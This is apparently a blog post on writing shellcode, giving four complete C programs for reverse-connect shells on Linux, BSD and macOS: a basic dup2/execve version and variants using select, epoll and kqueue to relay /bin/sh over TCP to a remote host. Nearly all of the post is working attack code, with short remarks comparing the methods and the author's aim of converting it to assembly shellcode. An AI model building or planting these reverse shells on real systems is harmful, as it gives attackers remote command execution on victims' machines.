Basic shells for Linux and BSD

Introduction

Here are 4 examples of how to spawn a shell on Linux, BSD and Mac OSX for the purpose of accepting commands and sending the output over TCP. I do not use TTY or PTY shells here for this because the intended purpose of the C code was to eventually convert into assembly and for that reason alone, it made sense to keep everything simple.

If you just want to examine code in detail yourself, see here.

Simple reverse connect

The most simple of all which you’ve no doubt seen many times before.

int main(void)
{
    struct sockaddr_in sa;
    u_long      ip=0x0100007F;
    char        *argv[2];
    int         s;
    
    // create a socket
    s=socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    
    sa.sin_family = AF_INET;
    sa.sin_port   = htons(1234);
    memcpy (&sa.sin_addr, &ip, sizeof(ip));
    
    // attempt connection to remote host
    connect(s, (struct sockaddr*)&sa, sizeof(sa));
    
    // use socket for input/output
    dup2(s, STDIN_FILENO );
    dup2(s, STDOUT_FILENO);
    dup2(s, STDERR_FILENO);
    
    argv[0]="/bin/sh";
    argv[1]=NULL;
    
    // execute sh
    execve("/bin/sh", argv, NULL);
    
    return 0;
}

The problem with this code is that we can’t manipulate the data transferred between 2 hosts. Smallest code generated, easiest to write but very limited.

select

To solve problem of manipulating data we can use synchronization. The select function is widely available and not that difficult to implement as assembly if we use bit testing instructions.

int main(void)
{
    struct sockaddr_in sa;
    u_long      ip=0x0100007F;
    int         in[2], out[2];
    pid_t       pid;
    char        *pargv[2];
    char        buf[BUFSIZ];
    int         r, s;
    fd_set      fds;
    
    // create pipes for redirection of stdin/stdout/stderr
    pipe(in);
    pipe(out);

    // create /bin/sh as child process
    pid=fork();
    
    if (!pid) {
      dup2( in[0], STDIN_FILENO);
      dup2(out[1], STDOUT_FILENO);
      dup2(out[1], STDERR_FILENO);
      
      close(in[0]);
      close(in[1]);
      
      close(out[0]);
      close(out[1]);
      
      pargv[0]="/bin/sh";
      pargv[1]=NULL;
      
      execve("/bin/sh", pargv, NULL);
    } else {      
      close(in[0]);
      close(out[1]);
      
      // create a socket
      s=socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
      
      sa.sin_family = AF_INET;
      sa.sin_port   = htons(1234);
      memcpy (&sa.sin_addr, &ip, sizeof(ip));
      
      // attempt connection to remote host
      connect(s, (struct sockaddr*)&sa, sizeof(sa));
      
      for (;;)
      {
        FD_ZERO(&fds);
        FD_SET(s, &fds);
        FD_SET(out[0], &fds);
        
        r=select(FD_SETSIZE, &fds, 0, 0, 0);
        if (r<0) break;
        
        if (FD_ISSET(s, &fds)) {
          r=read (s, buf, BUFSIZ);
          if (r<=0) break;
          write(in[1], buf, r);
        }
        if (FD_ISSET(out[0], &fds)) {
          r=read (out[0], buf, BUFSIZ);
          if (r<=0) break;
          write(s, buf, r);
        }
      }
      kill(pid, SIGCHLD);
      close(s);
    }
    close(in[1]);
    close(out[0]);
    
    return 0;
}

The problem is that if executed on system with thousands of handles opened, this is unreliable.

epoll

Designed specifically to replace select, we can poll for events on socket or other handles associated with shell.

int main(void)
{
    struct sockaddr_in sa;
    u_long      ip=0x0100007F;
    int         in[2], out[2];
    pid_t       pid;
    char        *pargv[2];
    char        buf[BUFSIZ];
    
    int         efd, end, len, i, r, s, h[2];
    struct      epoll_event evt;
    struct      epoll_event evts[1];
    
    // create pipes for redirection of stdin/stdout/stderr
    pipe(in);
    pipe(out);

    // create /bin/sh as child process
    pid=fork();
    
    if (!pid) {
      dup2( in[0], STDIN_FILENO);
      dup2(out[1], STDOUT_FILENO);
      dup2(out[1], STDERR_FILENO);
      
      close(in[0]);
      close(in[1]);
      
      close(out[0]);
      close(out[1]);
      
      pargv[0]="/bin/sh";
      pargv[1]=NULL;
      
      execve("/bin/sh", pargv, NULL);
    } else {      
      close(in[0]);
      close(out[1]);
      
      // create a socket
      s=socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
      
      sa.sin_family = AF_INET;
      sa.sin_port   = htons(1234);
      memcpy (&sa.sin_addr, &ip, sizeof(ip));

      // attempt connection to remote host
      connect(s, (struct sockaddr*)&sa, sizeof(sa));
      
      if ((efd=epoll_create1(0)) > 0)
      {
        h[0] = s;
        h[1] = out[0];
        
        // add 2 descriptors to monitor
        for (i=0; i<2; i++)
        {
          evt.data.fd = h[i];
          evt.events  = EPOLLIN | EPOLLET;
          
          epoll_ctl(efd, EPOLL_CTL_ADD, h[i], &evt);
        }
          
        // now loop until user exits or some other error
        for (end=0; !end;)
        {
          r=epoll_wait(efd, evts, 1, -1);
          
          if (r<0) {
            break;
          }
          
          for (i=0; i<r; i++) 
          {
            // disconnection/error?
            if ((evts[i].events & EPOLLERR) ||
                (evts[i].events & EPOLLHUP)) 
            {
              end=1;
            } else 
            // read is available?
            if (evts[i].events & EPOLLIN) 
            {
              // socket?
              if (evts[i].data.fd == s)
              {
                len=read(s, buf, BUFSIZ);
                write(in[1], buf, len);
              } else {
                // stdout/stderr
                len=read(out[0], buf, BUFSIZ);
                write(s, buf, len);
              }
            }
          }
        }
        close(efd);
      }
      kill(pid, SIGCHLD);
      close(s);
    }
    close(in[1]);
    close(out[0]);
    
    return 0;
}

kqueue on BSD/OSX/

kqueue was originally developed by Jonathan Lemon for FreeBSD in 2000 and has since been ported to other operating systems.

It arrived on the scene before epoll did.

int main(void)
{
    struct sockaddr_in sa;
    u_long      ip=0x0100007F;
    int         in[2], out[2];
    pid_t       pid;
    char        *pargv[2];
    char        buf[BUFSIZ];
    
    int         s, r, i, len, end, kq, nev;
    struct kevent fdlist[2];
    struct kevent evlist[2];
    
    // create pipes for redirection of stdin/stdout/stderr
    pipe(in);
    pipe(out);

    // create /bin/sh as child process
    pid=fork();
    
    if (!pid) {
      dup2( in[0], STDIN_FILENO);
      dup2(out[1], STDOUT_FILENO);
      dup2(out[1], STDERR_FILENO);
      
      close(in[0]);
      close(in[1]);
      
      close(out[0]);
      close(out[1]);
      
      pargv[0]="/bin/sh";
      pargv[1]=NULL;
      
      execve("/bin/sh", pargv, NULL);
    } else {      
      close(in[0]);
      close(out[1]);
      
      // create a socket
      s=socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
      
      sa.sin_family = AF_INET;
      sa.sin_port   = htons(1234);
      memcpy (&sa.sin_addr, &ip, sizeof(ip));
      
      // attempt connection to remote host
      connect(s, (struct sockaddr*)&sa, sizeof(sa));
      
      // create new kernel event
      if ((kq = kqueue()) > 0) {
        
        // initialize structure
        EV_SET(&fdlist[0], s, EVFILT_READ, 
            EV_ADD | EV_ENABLE | EV_CLEAR, 0, 0, 0);
            
        EV_SET(&fdlist[1], out[0], EVFILT_READ, 
            EV_ADD | EV_ENABLE | EV_CLEAR, 0, 0, 0);
        
        for (end=0;!end;)
        {
          nev=kevent(kq, fdlist, 2, evlist, 2, NULL);
          
          if (nev > 0)
          {
            if (evlist[0].flags & EV_EOF) break;
            
            for (i=0; i<nev; i++)
            {
              if (evlist[i].flags & EV_ERROR) {
                end=1;
                break;
              }
              if (evlist[i].ident == s)
              {
                len=read(s, buf, BUFSIZ);
                write(in[1], buf, len);
              } else if (evlist[i].ident == out[0])
              {
                len=read(out[0], buf, BUFSIZ);
                write(s, buf, len);
              }
            }
          }
        }
        close(kq);
      }
      kill(pid, SIGCHLD);
      close(s);
    }
    close(in[1]);
    close(out[0]);
    
    return 0;
}

Summary

I haven’t seen any shellcodes that use kqueue, epoll or even select but then maybe they’re not necessary.

Advertisements
This entry was posted in assembly, bsd, linux, networking, openbsd, security, shellcode. Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s